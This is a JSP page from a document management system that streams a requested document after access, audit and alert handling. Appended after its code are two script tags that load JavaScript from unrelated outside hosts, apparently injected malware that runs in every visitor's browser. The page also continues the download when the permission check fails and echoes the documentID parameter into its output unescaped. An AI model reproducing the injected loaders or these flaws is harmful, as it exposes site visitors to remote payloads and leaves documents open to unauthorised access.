<%
/*
 * @(#)downDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   downloadOdma.jsp
   download a doucment. 
  
    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.4.44.5 $
*/ 
%>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>  
<%@ page import="com.dcivision.dms.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %> 
<%@page import="com.dcivision.dms.core.FileDownloader" %>
<%@page import="java.net.*"%> 
 <%@page import="com.dcivision.dms.*"%>
 <%@page import="com.dcivision.dms.bean.*"%>
 <%@page import="com.dcivision.dms.core.*"%>
 <%@page import="com.dcivision.dms.dao.*"%>
 <%@page import="com.dcivision.alert.bean.*"%>
 <%@page import="com.dcivision.alert.core.*"%>
 <%@page import="com.dcivision.audit.*"%>
 <%@page import="com.dcivision.audit.bean.*"%>
 <%@page import="com.dcivision.audit.core.*"%>  
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%> 
<%@ include file="monitorLoginStatus.jsp"%>    
<%  
   
/*
 * when checkout,we need to check if the file is checkout already,and then download the file.
 */ 
 String documentID = request.getParameter("documentID"); 
 out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
 out.println("<!--exmaples : http://localhost:8080/EIP/jsp/odma/downloadDocument.jsp?documentID=42-->");
 
 try{
    if(documentID==null) throw new Exception();
 	OdmaFileDownloader ofd = new OdmaFileDownloader(sessionContainer,request,response,out);
 	ofd.download(documentID); 
    out.println("<download-file documentID="+"\""+documentID+"\">succed</download-file>");
 }catch(Exception ex){ 
    out.println("<download-file documentID="+"\""+documentID+"\">failed</download-file>");
 	LogFactory.getLog(this.getClass()).error(ex, ex);
 }

%>
 
<%!
    class OdmaFileDownloader{
    	SessionContainer sessionContainer;
    	HttpServletRequest request;
    	HttpServletResponse response; 
    	javax.servlet.jsp.JspWriter out;
		Connection conn = null;
		DmsVersion dmsVersion = new DmsVersion();
		DmsDocument document;

		DocumentRetrievalManager docRetrievalManager;
		MtmDocumentRelationshipDAObject docRelationshipDAO;
		AlertManager alertManager;
    	
    	public OdmaFileDownloader(
    	 	SessionContainer sessionContainer,HttpServletRequest request,HttpServletResponse response,
    	 	javax.servlet.jsp.JspWriter out
    	 	) throws Exception{
    		this.sessionContainer = sessionContainer;
    		this.request = request;
    		this.response = response;
    		this.out = out;
			conn = DataSourceFactory.getConnection();
			docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
			docRelationshipDAO = new MtmDocumentRelationshipDAObject(sessionContainer, conn);
			alertManager = new AlertManager(sessionContainer, conn); 
    	}
    	
    	public void download(String strDocumentID) throws Exception{
    	    Integer documentID = TextUtility.parseIntegerObj(strDocumentID);  
    		checkLoginAndDocumentAccessRight(documentID);  
			
			String version= DmsOperationConstant.DMS_TOP_VERSION;
			String curFunctionCode = null;
			Integer versionID = null;
			boolean isDownload = true;  
			InputStream dataStream = null;
			try {  
		  		
		  		String name = ""; 
		  		document = (DmsDocument) docRetrievalManager.getDocument(documentID); 
		  		curFunctionCode = document.getCurFunctionCode();  
				  Integer contentID = new Integer(0);
				  if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
					versionID = TextUtility.parseIntegerObj(version);
					dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
					contentID = dmsVersion.getContentID();
				  } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
					dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(documentID);
					contentID = dmsVersion.getContentID();
				  } 
				  
				AdapterMaster am = AdapterMasterFactory.getAdapterMaster(sessionContainer, conn);
				DmsDocument parentDoc = (DmsDocument) docRetrievalManager.getDocument(document.getParentID());
		  try {
		    LogFactory.getLog(this.getClass()).debug("call AM!!!!!");
		    LogFactory.getLog(this.getClass()).debug("newDmsDocument.getDocumentName() is " + document.getDocumentName());
		    am.call(UpdateAlert.DOCUMENT_TYPE, document.getID(), UpdateAlert.VIEW_ACTION, document.getDocumentName(), null, null, null );
		    LogFactory.getLog(this.getClass()).debug("parentDoc.getDocumentName() is " + parentDoc.getDocumentName());
		    am.call(UpdateAlert.DOCUMENT_TYPE, parentDoc.getID(), UpdateAlert.VIEW_ACTION, document.getDocumentName(), null, null, null, document.getID() );
			if(docRetrievalManager.hasRelationship(document.getID(),null)){
			  List relationList=(List)docRelationshipDAO.getListByIDRelationType(document.getID(),null);
			  List inRelationList=(List)docRelationshipDAO.getListByRelationIDRelationType(document.getID(),null);
			  List alertList=new ArrayList();
			  if(!Utility.isEmpty(relationList)){
				for(int i=0;i<relationList.size();i++){
		           alertList = alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
				  if(!Utility.isEmpty(alertList)){
					am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
			           null,null,null,document.getID());
				  }
		        }
			  }
			  if(!Utility.isEmpty(inRelationList)){
				for(int i=0;i<inRelationList.size();i++){
				  alertList= alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
				  if(!Utility.isEmpty(alertList)){
					 am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
			           null,null,null,document.getID());
				  }
				}
			  }
			}
		    LogFactory.getLog(this.getClass()).debug("finished AM!!!!!");
		  }
		  catch (Exception e) {
		    LogFactory.getLog(this.getClass()).error(e, e);
		    throw e;
		  }
		  logDownInAuditTrail();
 
		  checkForDocumentLinkDownLoad(documentID,contentID); 
		
		  //Check for deleted document and return the error message on JSP
		  if (!GlobalConstant.RECORD_STATUS_INACTIVE.equals(document.getRecordStatus())) {
			   document.setCurFunctionCode(curFunctionCode);
		      name = document.getDocumentName();
		      name = TextUtility.getURLEncodeInUTF8(document.getDocumentName());
		
		      DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
		      String converted = (String) URLDecoder.decode(docContent.getConvertedName(), "UTF-8");
		
		      DmsContentStoreHandler contentStoreHandler = null;
		      try {
		        contentStoreHandler = (DmsContentStoreHandler)Class.forName(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_CONTENT_STORE_CLASS)).newInstance();
		      } catch (Exception e) {
		        throw new ApplicationException(DmsErrorConstant.NAME_CONVERTOR_CLASS_NOT_FOUND);
		      }
		
		      contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_NAME_PROPERTY, converted);
		      String foldersDir = docRetrievalManager.getFoldersDirectories(document).toString();
		      contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_PHYSICAL_PATH, foldersDir);
		      		
		      dataStream = contentStoreHandler.readStream();		
		      String contentType = HTTPUtility.getContentType(name);
			  operateFileDownloader(name,contentType,isDownload,dataStream);
		     
		
		  } else {
		      //Output the error message for record not found
		      out.println("<script language=\"javascript\">");
		      out.println("function callReferrer(url){");
		      out.println("    if (url ==''){history.back();}else{ ");
		      out.println("    window.location.href = url;} ");
		      out.println("    return false; ");
		      out.println("}");
		      out.println("</script>");
		
		      out.println("<table cellpadding=\"20\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
		      out.println("<!-- Error Messages -->");
		      out.println("<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
		      out.println("<UL TYPE=\"square\" style=\"color:#FF0000;font-weight:bold\">");
		      out.println("<LI> " + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.framework.file_is_deleted"));
		      out.println("</LI></UL>");
		      out.println("</td></tr><tr><td>");
		      if (isDownload==true){
%>
		    		<html:standardButton label="common.label.back" onClick="return callReferrer(document.referrer);"/>
<%          
              } else {
%>
		    		<html:standardButton label="common.label.close" onClick="window.close();"/>
<%
		      out.println("</td></tr></table>");
		  }
		}
		catch (Exception e) {
		  throw e;
		  
		}
		finally {
		  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
		  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
		}
    	}

    	private void checkLoginAndDocumentAccessRight(Integer documentID) throws Exception{ 
			try {
				sessionContainer.getPermissionManager().isAccessible(GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);
			}catch (ApplicationException appEx) {
				if (ErrorConstant.LOGIN_SESSION_EXPIRED.equals(appEx.getMsgCode())) {
					out.println("LOGIN SESSION EXPIRED");
				}
			} 
    	}

		private void logDownInAuditTrail() throws Exception{   
		  AuditTrailManager auditManager = new AuditTrailManager(sessionContainer, conn);
		  if (sessionContainer.getUserRecordID()!=null)
		    auditManager.auditTrail(GlobalConstant.OBJECT_TYPE_DOCUMENT, document, AuditTrailConstant.ACCESS_TYPE_VIEW, dmsVersion.getVersionNumber());
		    conn.commit(); 
		}
		private void operateFileDownloader(String name,String contentType,boolean isDownload,InputStream dataStream) throws Exception { 
		      FileDownloader fd = new FileDownloader();
		      fd.setFileName(name);
		      fd.setContentType(contentType);
		      fd.setIsDownload(isDownload);
		      fd.setInputStream(dataStream);
		      fd.setRequest(request);
		      fd.setResponse(response);
		      fd.operate();
		}
		private void checkForDocumentLinkDownLoad(Integer documentID,Integer contentID) throws Exception{
			
		  if (DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
		    Integer targetDocID = (Integer) docRelationshipDAO.getTargetDocIDByRelatedDocID(document.getID(), document.getDocumentType());
		    DmsDocument targetDoc = (DmsDocument)docRetrievalManager.getDocument(targetDocID);
		    /* Used to update the doc link name and type; Wont infulence the getDocumentProfileInfo() */
		    targetDoc.setDocumentName(document.getDocumentName());
		    targetDoc.setDocumentType(document.getDocumentType());
		    //update the doc ID for shortcut linkage
		    documentID = targetDocID;
		    document = targetDoc;
		
		    //update the real link document version
		    dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(documentID);
		    contentID = dmsVersion.getContentID();
		  }
		}
    }
%>
 
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>